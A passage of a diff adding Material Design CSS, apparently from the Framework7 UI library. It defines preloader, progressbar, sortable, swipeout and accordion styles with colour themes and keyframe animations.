.preloader-inner-half-circle { + border-color: #ffeb3b; +} +.md .preloader.color-orange .preloader-inner-gap, +.md .preloader.preloader-orange .preloader-inner-gap, +.md .preloader.color-orange .preloader-inner-half-circle, +.md .preloader.preloader-orange .preloader-inner-half-circle { + border-color: #ff9800; +} +.md .preloader.color-gray .preloader-inner-gap, +.md .preloader.preloader-gray .preloader-inner-gap, +.md .preloader.color-gray .preloader-inner-half-circle, +.md .preloader.preloader-gray .preloader-inner-half-circle { + border-color: #9e9e9e; +} +.md .preloader.color-white .preloader-inner-gap, +.md .preloader.preloader-white .preloader-inner-gap, +.md .preloader.color-white .preloader-inner-half-circle, +.md .preloader.preloader-white .preloader-inner-half-circle { + border-color: #ffffff; +} +.md .preloader.color-black .preloader-inner-gap, +.md .preloader.preloader-black .preloader-inner-gap, +.md .preloader.color-black .preloader-inner-half-circle, +.md .preloader.preloader-black .preloader-inner-half-circle { + border-color: #000000; +} +.md .preloader.color-multi .preloader-inner-left .preloader-inner-half-circle { + -webkit-animation-name: md-preloader-left-rotate-multicolor; + animation-name: md-preloader-left-rotate-multicolor; +} +.md .preloader.color-multi .preloader-inner-right .preloader-inner-half-circle { + -webkit-animation-name: md-preloader-right-rotate-multicolor; + animation-name: md-preloader-right-rotate-multicolor; +} +@-webkit-keyframes md-preloader-left-rotate { + 0%, + 100% { + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 50% { + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } +} +@keyframes md-preloader-left-rotate { + 0%, + 100% { + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 50% { + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } +} +@-webkit-keyframes md-preloader-right-rotate { + 0%, + 100% { + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 50% { + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } +} +@keyframes md-preloader-right-rotate { + 0%, + 100% { + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 50% { + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } +} +@-webkit-keyframes md-preloader-inner-rotate { + 12.5% { + -webkit-transform: rotate(135deg); + transform: rotate(135deg); + } + 25% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); + } + 37.5% { + -webkit-transform: rotate(405deg); + transform: rotate(405deg); + } + 50% { + -webkit-transform: rotate(540deg); + transform: rotate(540deg); + } + 62.5% { + -webkit-transform: rotate(675deg); + transform: rotate(675deg); + } + 75% { + -webkit-transform: rotate(810deg); + transform: rotate(810deg); + } + 87.5% { + -webkit-transform: rotate(945deg); + transform: rotate(945deg); + } + 100% { + -webkit-transform: rotate(1080deg); + transform: rotate(1080deg); + } +} +@keyframes md-preloader-inner-rotate { + 12.5% { + -webkit-transform: rotate(135deg); + transform: rotate(135deg); + } + 25% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); + } + 37.5% { + -webkit-transform: rotate(405deg); + transform: rotate(405deg); + } + 50% { + -webkit-transform: rotate(540deg); + transform: rotate(540deg); + } + 62.5% { + -webkit-transform: rotate(675deg); + transform: rotate(675deg); + } + 75% { + -webkit-transform: rotate(810deg); + transform: rotate(810deg); + } + 87.5% { + -webkit-transform: rotate(945deg); + transform: rotate(945deg); + } + 100% { + -webkit-transform: rotate(1080deg); + transform: rotate(1080deg); + } +} +@-webkit-keyframes md-preloader-left-rotate-multicolor { + 0%, + 100% { + border-left-color: #4285F4; + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 75% { + border-left-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-left-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } + 25% { + border-left-color: #DE3E35; + border-top-color: #DE3E35; + } +} +@keyframes md-preloader-left-rotate-multicolor { + 0%, + 100% { + border-left-color: #4285F4; + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 75% { + border-left-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-left-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } + 25% { + border-left-color: #DE3E35; + border-top-color: #DE3E35; + } +} +@-webkit-keyframes md-preloader-right-rotate-multicolor { + 0%, + 100% { + border-right-color: #4285F4; + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 75% { + border-right-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-right-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } + 25% { + border-top-color: #DE3E35; + border-right-color: #DE3E35; + } +} +@keyframes md-preloader-right-rotate-multicolor { + 0%, + 100% { + border-right-color: #4285F4; + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 75% { + border-right-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-right-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } + 25% { + border-top-color: #DE3E35; + border-right-color: #DE3E35; + } +} +/* === Progressbar === */ +.progressbar, +.progressbar-infinite { + width: 100%; + overflow: hidden; + position: relative; + display: block; + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +body > .progressbar, +.view > .progressbar, +.views > .progressbar, +.page > .progressbar, +.panel > .progressbar, +.popup > .progressbar, +.framework7-root > .progressbar, +body > .progressbar-infinite, +.view > .progressbar-infinite, +.views > .progressbar-infinite, +.page > .progressbar-infinite, +.panel > .progressbar-infinite, +.popup > .progressbar-infinite, +.framework7-root > .progressbar-infinite { + position: absolute; + left: 0; + top: 0; + z-index: 15000; + border-radius: 0 !important; + -webkit-transform-origin: center top !important; + transform-origin: center top !important; +} +.with-statusbar.device-ios body > .progressbar, +.with-statusbar.ios:not(.device-ios):not(.device-android) body > .progressbar, +.with-statusbar.device-ios .framework7-root > .progressbar, +.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root > .progressbar, +.with-statusbar.device-ios body > .progressbar-infinite, +.with-statusbar.ios:not(.device-ios):not(.device-android) body > .progressbar-infinite, +.with-statusbar.device-ios .framework7-root > .progressbar-infinite, +.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root > .progressbar-infinite { + top: 20px; +} +.with-statusbar.device-android body > .progressbar, +.with-statusbar.md:not(.device-ios):not(.device-android) body > .progressbar, +.with-statusbar.device-android .framework7-root > .progressbar, +.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root > .progressbar, +.with-statusbar.device-android body > .progressbar-infinite, +.with-statusbar.md:not(.device-ios):not(.device-android) body > .progressbar-infinite, +.with-statusbar.device-android .framework7-root > .progressbar-infinite, +.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root > .progressbar-infinite { + top: 24px; +} +.with-statusbar.device-iphone-x body > .progressbar, +.with-statusbar.device-iphone-x .framework7-root > .progressbar, +.with-statusbar.device-iphone-x body > .progressbar-infinite, +.with-statusbar.device-iphone-x .framework7-root > .progressbar-infinite { + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +.progressbar { + vertical-align: middle; +} +.progressbar span { + width: 100%; + height: 100%; + position: absolute; + left: 0; + top: 0; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.progressbar-infinite:before, +.progressbar-infinite:after { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform-origin: left center; + transform-origin: left center; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + display: block; +} +.progressbar-infinite.color-multi { + background: none !important; +} +.progressbar-in { + -webkit-animation: progressbar-in 150ms forwards; + animation: progressbar-in 150ms forwards; +} +.progressbar-out { + -webkit-animation: progressbar-out 150ms forwards; + animation: progressbar-out 150ms forwards; +} +@-webkit-keyframes progressbar-in { + from { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } + to { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } +} +@keyframes progressbar-in { + from { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } + to { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } +} +@-webkit-keyframes progressbar-out { + from { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } + to { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } +} +@keyframes progressbar-out { + from { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } + to { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } +} +.md .progressbar, +.md .progressbar-infinite { + height: 4px; + background: rgba(33, 150, 243, 0.5); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.md .progressbar span { + background: #2196f3; +} +.md .progressbar-infinite { + z-index: 15000; +} +.md .progressbar-infinite:before, +.md .progressbar-infinite:after { + content: ''; + background: #2196f3; +} +.md .progressbar-infinite:before { + -webkit-animation: md-progressbar-infinite-1 2s linear infinite; + animation: md-progressbar-infinite-1 2s linear infinite; +} +.md .progressbar-infinite:after { + -webkit-animation: md-progressbar-infinite-2 2s linear infinite; + animation: md-progressbar-infinite-2 2s linear infinite; +} +.md .progressbar-infinite.color-multi:before { + background: none; + -webkit-animation: md-progressbar-infinite-multicolor-bg 3s step-end infinite; + animation: md-progressbar-infinite-multicolor-bg 3s step-end infinite; +} +.md .progressbar-infinite.color-multi:after { + background: none; + -webkit-animation: md-progressbar-infinite-multicolor-fill 3s linear infinite; + animation: md-progressbar-infinite-multicolor-fill 3s linear infinite; + -webkit-transform-origin: center center; + transform-origin: center center; +} +.md .color-theme-red .progressbar, +.md .color-theme-red .progressbar-infinite { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-red .progressbar span { + background: #f44336; +} +.md .color-theme-red .progressbar-infinite:before, +.md .color-theme-red .progressbar-infinite:after { + background: #f44336; +} +.md .color-theme-green .progressbar, +.md .color-theme-green .progressbar-infinite { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-green .progressbar span { + background: #4caf50; +} +.md .color-theme-green .progressbar-infinite:before, +.md .color-theme-green .progressbar-infinite:after { + background: #4caf50; +} +.md .color-theme-blue .progressbar, +.md .color-theme-blue .progressbar-infinite { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-blue .progressbar span { + background: #2196f3; +} +.md .color-theme-blue .progressbar-infinite:before, +.md .color-theme-blue .progressbar-infinite:after { + background: #2196f3; +} +.md .color-theme-pink .progressbar, +.md .color-theme-pink .progressbar-infinite { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-pink .progressbar span { + background: #e91e63; +} +.md .color-theme-pink .progressbar-infinite:before, +.md .color-theme-pink .progressbar-infinite:after { + background: #e91e63; +} +.md .color-theme-yellow .progressbar, +.md .color-theme-yellow .progressbar-infinite { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-yellow .progressbar span { + background: #ffeb3b; +} +.md .color-theme-yellow .progressbar-infinite:before, +.md .color-theme-yellow .progressbar-infinite:after { + background: #ffeb3b; +} +.md .color-theme-orange .progressbar, +.md .color-theme-orange .progressbar-infinite { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-orange .progressbar span { + background: #ff9800; +} +.md .color-theme-orange .progressbar-infinite:before, +.md .color-theme-orange .progressbar-infinite:after { + background: #ff9800; +} +.md .color-theme-gray .progressbar, +.md .color-theme-gray .progressbar-infinite { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-gray .progressbar span { + background: #9e9e9e; +} +.md .color-theme-gray .progressbar-infinite:before, +.md .color-theme-gray .progressbar-infinite:after { + background: #9e9e9e; +} +.md .color-theme-white .progressbar, +.md .color-theme-white .progressbar-infinite { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-white .progressbar span { + background: #ffffff; +} +.md .color-theme-white .progressbar-infinite:before, +.md .color-theme-white .progressbar-infinite:after { + background: #ffffff; +} +.md .color-theme-black .progressbar, +.md .color-theme-black .progressbar-infinite { + background: rgba(0, 0, 0, 0.5); +} +.md .color-theme-black .progressbar span { + background: #000000; +} +.md .color-theme-black .progressbar-infinite:before, +.md .color-theme-black .progressbar-infinite:after { + background: #000000; +} +.md .progressbar.color-red, +.md .progressbar-infinite.color-red { + background: rgba(244, 67, 54, 0.5); +} +.md .progressbar.color-red span { + background: #f44336; +} +.md .progressbar-infinite.color-red:before, +.md .progressbar-infinite.color-red:after { + background: #f44336; +} +.md .progressbar.color-green, +.md .progressbar-infinite.color-green { + background: rgba(76, 175, 80, 0.5); +} +.md .progressbar.color-green span { + background: #4caf50; +} +.md .progressbar-infinite.color-green:before, +.md .progressbar-infinite.color-green:after { + background: #4caf50; +} +.md .progressbar.color-blue, +.md .progressbar-infinite.color-blue { + background: rgba(33, 150, 243, 0.5); +} +.md .progressbar.color-blue span { + background: #2196f3; +} +.md .progressbar-infinite.color-blue:before, +.md .progressbar-infinite.color-blue:after { + background: #2196f3; +} +.md .progressbar.color-pink, +.md .progressbar-infinite.color-pink { + background: rgba(233, 30, 99, 0.5); +} +.md .progressbar.color-pink span { + background: #e91e63; +} +.md .progressbar-infinite.color-pink:before, +.md .progressbar-infinite.color-pink:after { + background: #e91e63; +} +.md .progressbar.color-yellow, +.md .progressbar-infinite.color-yellow { + background: rgba(255, 235, 59, 0.5); +} +.md .progressbar.color-yellow span { + background: #ffeb3b; +} +.md .progressbar-infinite.color-yellow:before, +.md .progressbar-infinite.color-yellow:after { + background: #ffeb3b; +} +.md .progressbar.color-orange, +.md .progressbar-infinite.color-orange { + background: rgba(255, 152, 0, 0.5); +} +.md .progressbar.color-orange span { + background: #ff9800; +} +.md .progressbar-infinite.color-orange:before, +.md .progressbar-infinite.color-orange:after { + background: #ff9800; +} +.md .progressbar.color-gray, +.md .progressbar-infinite.color-gray { + background: rgba(158, 158, 158, 0.5); +} +.md .progressbar.color-gray span { + background: #9e9e9e; +} +.md .progressbar-infinite.color-gray:before, +.md .progressbar-infinite.color-gray:after { + background: #9e9e9e; +} +.md .progressbar.color-white, +.md .progressbar-infinite.color-white { + background: rgba(255, 255, 255, 0.5); +} +.md .progressbar.color-white span { + background: #ffffff; +} +.md .progressbar-infinite.color-white:before, +.md .progressbar-infinite.color-white:after { + background: #ffffff; +} +.md .progressbar.color-black, +.md .progressbar-infinite.color-black { + background: rgba(0, 0, 0, 0.5); +} +.md .progressbar.color-black span { + background: #000000; +} +.md .progressbar-infinite.color-black:before, +.md .progressbar-infinite.color-black:after { + background: #000000; +} +@-webkit-keyframes md-progressbar-infinite-1 { + 0% { + -webkit-transform: translateX(-10%) scaleX(0.1); + transform: translateX(-10%) scaleX(0.1); + } + 25% { + -webkit-transform: translateX(30%) scaleX(0.6); + transform: translateX(30%) scaleX(0.6); + } + 50% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } +} +@keyframes md-progressbar-infinite-1 { + 0% { + -webkit-transform: translateX(-10%) scaleX(0.1); + transform: translateX(-10%) scaleX(0.1); + } + 25% { + -webkit-transform: translateX(30%) scaleX(0.6); + transform: translateX(30%) scaleX(0.6); + } + 50% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } +} +@-webkit-keyframes md-progressbar-infinite-2 { + 0% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 40% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 75% { + -webkit-transform: translateX(60%) scaleX(0.35); + transform: translateX(60%) scaleX(0.35); + } + 90% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } +} +@keyframes md-progressbar-infinite-2 { + 0% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 40% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 75% { + -webkit-transform: translateX(60%) scaleX(0.35); + transform: translateX(60%) scaleX(0.35); + } + 90% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } +} +@-webkit-keyframes md-progressbar-infinite-multicolor-bg { + 0% { + background-color: #4caf50; + } + 25% { + background-color: #f44336; + } + 50% { + background-color: #2196f3; + } + 75% { + background-color: #ffeb3b; + } +} +@keyframes md-progressbar-infinite-multicolor-bg { + 0% { + background-color: #4caf50; + } + 25% { + background-color: #f44336; + } + 50% { + background-color: #2196f3; + } + 75% { + background-color: #ffeb3b; + } +} +@-webkit-keyframes md-progressbar-infinite-multicolor-fill { + 0% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #f44336; + } + 24.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #f44336; + } + 25% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #2196f3; + } + 49.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #2196f3; + } + 50% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #ffeb3b; + } + 74.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #ffeb3b; + } + 75% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #4caf50; + } + 100% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #4caf50; + } +} +@keyframes md-progressbar-infinite-multicolor-fill { + 0% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #f44336; + } + 24.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #f44336; + } + 25% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #2196f3; + } + 49.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #2196f3; + } + 50% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #ffeb3b; + } + 74.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #ffeb3b; + } + 75% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #4caf50; + } + 100% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #4caf50; + } +} +/* === Sortable === */ +.sortable .sortable-handler { + position: absolute; + top: 0; + bottom: 1px; + z-index: 10; + background-repeat: no-repeat; + background-size: 18px 12px; + opacity: 0; + pointer-events: none; + cursor: move; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + left: 0; + background-position: 0% 50%; +} +.sortable .item-inner { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sortable li.sorting { + z-index: 50; + background: rgba(255, 255, 255, 0.8); + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sortable li.sorting .item-inner:after { + display: none !important; +} +.sortable-sorting li { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sortable-enabled .sortable-handler { + pointer-events: auto; + opacity: 1; + background-position: 50% 50%; +} +.sortable-enabled .item-link .item-inner, +.sortable-enabled .item-link .item-title-row { + background-image: none !important; +} +.theme-dark .sortable li.sorting, +.sortable.theme-dark li.sorting { + background-color: rgba(50, 50, 50, 0.8); +} +.md .sortable-handler { + width: 50px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%208'%3E%3Crect%20x%3D'0'%20y%3D'0'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3Crect%20x%3D'0'%20y%3D'6'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3C%2Fsvg%3E"); +} +.md .sortable li.sorting { + -webkit-box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); + box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); +} +.md .sortable-enabled .item-inner, +.md .sortable-enabled .item-link .item-inner { + padding-left: 50px; +} +.md .list.sortable-enabled .item-link.no-chevron .item-inner, +.md .list.sortable-enabled.no-chevron .item-link .item-inner, +.md .list.sortable-enabled .no-chevron .item-link .item-inner, +.md .no-chevron .list.sortable-enabled .item-link .item-inner { + padding-left: 50px; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .sortable-handler, + .md.device-iphone-x .ios-edges .sortable-handler, + .md.device-iphone-x .popup .sortable-handler, + .md.device-iphone-x .sheet-modal .sortable-handler, + .md.device-iphone-x .panel-left .sortable-handler { + left: constant(safe-area-inset-left); + left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner { + padding-left: calc(42px + constant(safe-area-inset-right)); + padding-left: calc(42px + env(safe-area-inset-right)); + } +} +/* === Swipeout === */ +.swipeout { + overflow: hidden; + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.swipeout-deleting { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.swipeout-deleting .swipeout-content { + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} +.swipeout-transitioning .swipeout-content, +.swipeout-transitioning .swipeout-actions-right a, +.swipeout-transitioning .swipeout-actions-left a, +.swipeout-transitioning .swipeout-overswipe { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: left, -webkit-transform; + transition-property: left, -webkit-transform; + transition-property: transform, left; + transition-property: transform, left, -webkit-transform; +} +.swipeout-content { + position: relative; + z-index: 10; +} +.swipeout-overswipe { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: left; + transition-property: left; +} +.swipeout-actions-left, +.swipeout-actions-right { + position: absolute; + top: 0; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + direction: ltr; +} +.swipeout-actions-left > a, +.swipeout-actions-right > a, +.swipeout-actions-left > button, +.swipeout-actions-right > button, +.swipeout-actions-left > span, +.swipeout-actions-right > span, +.swipeout-actions-left > div, +.swipeout-actions-right > div { + color: #fff; + background: #c7c7cc; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + position: relative; + left: 0; +} +.swipeout-actions-left > a:after, +.swipeout-actions-right > a:after, +.swipeout-actions-left > button:after, +.swipeout-actions-right > button:after, +.swipeout-actions-left > span:after, +.swipeout-actions-right > span:after, +.swipeout-actions-left > div:after, +.swipeout-actions-right > div:after { + content: ''; + position: absolute; + top: 0; + width: 600%; + height: 100%; + background: inherit; + z-index: -1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.swipeout-actions-right { + right: 0%; + -webkit-transform: translateX(100%); + transform: translateX(100%); +} +.swipeout-actions-right > a:after, +.swipeout-actions-right > button:after, +.swipeout-actions-right > span:after, +.swipeout-actions-right > div:after { + left: 100%; + margin-left: -1px; +} +.swipeout-actions-left { + left: 0%; + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} +.swipeout-actions-left > a:after, +.swipeout-actions-left > button:after, +.swipeout-actions-left > span:after, +.swipeout-actions-left > div:after { + right: 100%; + margin-right: -1px; +} +.md .swipeout-actions-left > a, +.md .swipeout-actions-right > a, +.md .swipeout-actions-left > button, +.md .swipeout-actions-right > button, +.md .swipeout-actions-left > span, +.md .swipeout-actions-right > span, +.md .swipeout-actions-left > div, +.md .swipeout-actions-right > div { + padding: 0 24px; + color: #fff; +} +.md .swipeout-actions-left .swipeout-delete, +.md .swipeout-actions-right .swipeout-delete { + background: #f44336; +} +.md .swipeout-actions-left > a.color-red, +.md .swipeout-actions-right > a.color-red, +.md .swipeout-actions-left > button.color-red, +.md .swipeout-actions-right > button.color-red, +.md .swipeout-actions-left > span.color-red, +.md .swipeout-actions-right > span.color-red, +.md .swipeout-actions-left > div.color-red, +.md .swipeout-actions-right > div.color-red { + background-color: #f44336; +} +.md .swipeout-actions-left > a.color-green, +.md .swipeout-actions-right > a.color-green, +.md .swipeout-actions-left > button.color-green, +.md .swipeout-actions-right > button.color-green, +.md .swipeout-actions-left > span.color-green, +.md .swipeout-actions-right > span.color-green, +.md .swipeout-actions-left > div.color-green, +.md .swipeout-actions-right > div.color-green { + background-color: #4caf50; +} +.md .swipeout-actions-left > a.color-blue, +.md .swipeout-actions-right > a.color-blue, +.md .swipeout-actions-left > button.color-blue, +.md .swipeout-actions-right > button.color-blue, +.md .swipeout-actions-left > span.color-blue, +.md .swipeout-actions-right > span.color-blue, +.md .swipeout-actions-left > div.color-blue, +.md .swipeout-actions-right > div.color-blue { + background-color: #2196f3; +} +.md .swipeout-actions-left > a.color-pink, +.md .swipeout-actions-right > a.color-pink, +.md .swipeout-actions-left > button.color-pink, +.md .swipeout-actions-right > button.color-pink, +.md .swipeout-actions-left > span.color-pink, +.md .swipeout-actions-right > span.color-pink, +.md .swipeout-actions-left > div.color-pink, +.md .swipeout-actions-right > div.color-pink { + background-color: #e91e63; +} +.md .swipeout-actions-left > a.color-yellow, +.md .swipeout-actions-right > a.color-yellow, +.md .swipeout-actions-left > button.color-yellow, +.md .swipeout-actions-right > button.color-yellow, +.md .swipeout-actions-left > span.color-yellow, +.md .swipeout-actions-right > span.color-yellow, +.md .swipeout-actions-left > div.color-yellow, +.md .swipeout-actions-right > div.color-yellow { + background-color: #ffeb3b; +} +.md .swipeout-actions-left > a.color-orange, +.md .swipeout-actions-right > a.color-orange, +.md .swipeout-actions-left > button.color-orange, +.md .swipeout-actions-right > button.color-orange, +.md .swipeout-actions-left > span.color-orange, +.md .swipeout-actions-right > span.color-orange, +.md .swipeout-actions-left > div.color-orange, +.md .swipeout-actions-right > div.color-orange { + background-color: #ff9800; +} +.md .swipeout-actions-left > a.color-gray, +.md .swipeout-actions-right > a.color-gray, +.md .swipeout-actions-left > button.color-gray, +.md .swipeout-actions-right > button.color-gray, +.md .swipeout-actions-left > span.color-gray, +.md .swipeout-actions-right > span.color-gray, +.md .swipeout-actions-left > div.color-gray, +.md .swipeout-actions-right > div.color-gray { + background-color: #9e9e9e; +} +.md .swipeout-actions-left > a.color-white, +.md .swipeout-actions-right > a.color-white, +.md .swipeout-actions-left > button.color-white, +.md .swipeout-actions-right > button.color-white, +.md .swipeout-actions-left > span.color-white, +.md .swipeout-actions-right > span.color-white, +.md .swipeout-actions-left > div.color-white, +.md .swipeout-actions-right > div.color-white { + background-color: #ffffff; +} +.md .swipeout-actions-left > a.color-black, +.md .swipeout-actions-right > a.color-black, +.md .swipeout-actions-left > button.color-black, +.md .swipeout-actions-right > button.color-black, +.md .swipeout-actions-left > span.color-black, +.md .swipeout-actions-right > span.color-black, +.md .swipeout-actions-left > div.color-black, +.md .swipeout-actions-right > div.color-black { + background-color: #000000; +} +/* === Accordion === */ +.accordion-item-toggle { + cursor: pointer; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-toggle.active-state { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-toggle.active-state > .item-inner:after { + background-color: transparent; +} +.accordion-item-toggle .item-inner { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; +} +.accordion-item-toggle .item-inner:after { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item .item-link .item-inner:after { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item .list, +.accordion-item .block { + margin-top: 0; + margin-bottom: 0; +} +.accordion-item .block > h1:first-child, +.accordion-item .block > h2:first-child, +.accordion-item .block > h3:first-child, +.accordion-item .block > h4:first-child, +.accordion-item .block > p:first-child { + margin-top: 10px; +} +.accordion-item .block > h1:last-child, +.accordion-item .block > h2:last-child, +.accordion-item .block > h3:last-child, +.accordion-item .block > h4:last-child, +.accordion-item .block > p:last-child { + margin-bottom: 10px; +} 